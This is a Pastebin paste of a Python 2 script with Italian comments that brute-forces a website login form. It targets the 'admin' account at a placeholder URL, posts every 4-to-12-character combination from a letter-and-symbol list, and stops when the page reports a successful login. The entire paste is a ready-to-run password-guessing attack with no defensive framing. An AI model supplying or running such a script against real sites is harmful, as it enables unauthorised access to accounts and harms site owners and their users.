Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # Importo la libreria che ci serve per la connessione http
- import urllib
- # Username di cui si vuole scoprire la password
- username = "admin"
- # Pagina di action a cui rimanda il form di login
- paginaLogin = "http://www.miosito.it/login.php"
- # Messaggio di avvenuto login
- messaggioDiAvvenutoLogin = "Login effettuato!"
- # Lista dei caratteri possibili in una password.
- listaCaratteri = ["A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', ".", ",", "-", "_", "@", "+"]
- # Funzione che verifica se la password passata come parametro
- # e' quella corretta e di conseguenza e' stata indovinata.
- def testaPassword(password):
- print "Testando la password:", password
- # Invio i parametri da testare alla pagina di action (paginaLogin)
- parametriDaTestare = { "username" : username, "password" : password, "submit" : "1" }
- p= urllib.urlencode(parametriDaTestare)
- paginaDiAction = urllib.urlopen(paginaLogin, p)
- # Memorizzo la risposta della pagina di action nella variabile risultato
- risultato = paginaDiAction.read()
- # Controllo se la password e' corretta
- if messaggioDiAvvenutoLogin in risultato:
- print "Password trovata: ", password
- exit()
- else:
- return
- # Qui bisogna supporre una lunghezza massima della password,
- # ipotizziamo 12 caratteri.
- # Stabiliamo anche una lunghezza minima: 4 caratteri. Di conseguenza
- # da 4 caratteri in poi verra' testata la password (attraverso
- # la funzione testaPassword).
- for c1 in listaCaratteri:
- for c2 in listaCaratteri:
- for c3 in listaCaratteri:
- for c4 in listaCaratteri:
- psw = c1+c2+c3+c4 # La password da testare sara' composta dai caratteri
- # correnti ovvero c1, c2, c3, c4
- testaPassword(psw)
- for c5 in listaCaratteri:
- psw = c1+c2+c3+c4+c5 # La password da testare sara' composta dai
- # caratteri correntiovvero c1, c2, c3, c4
- testaPassword(psw)
- for c6 in listaCaratteri:
- psw = c1+c2+c3+c4+c5+c6
- testaPassword(psw)
- for c7 in listaCaratteri:
- psw = c1+c2+c3+c4+c5+c6+c7
- testaPassword(psw)
- for c8 in listaCaratteri:
- psw = c1+c2+c3+c4+c5+c6+c7+c8
- testaPassword(psw)
- for c9 in listaCaratteri:
- psw = c1+c2+c3+c4+c5+c6+c7+c8+c9
- testaPassword(psw)
- for c10 in listaCaratteri:
- psw = c1+c2+c3+c4+c5+c6+c7+c8+c9+c10
- testaPassword(psw)
- for c11 in listaCaratteri:
- psw = c1+c2+c3+c4+c5+c6+c7+c8+c9+c10+c11
- testaPassword(psw)
- for c12 in listaCaratteri:
- psw = c1+c2+c3+c4+c5+c6+c7+c8+c9+c10+c11+c12
- testaPassword(psw)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement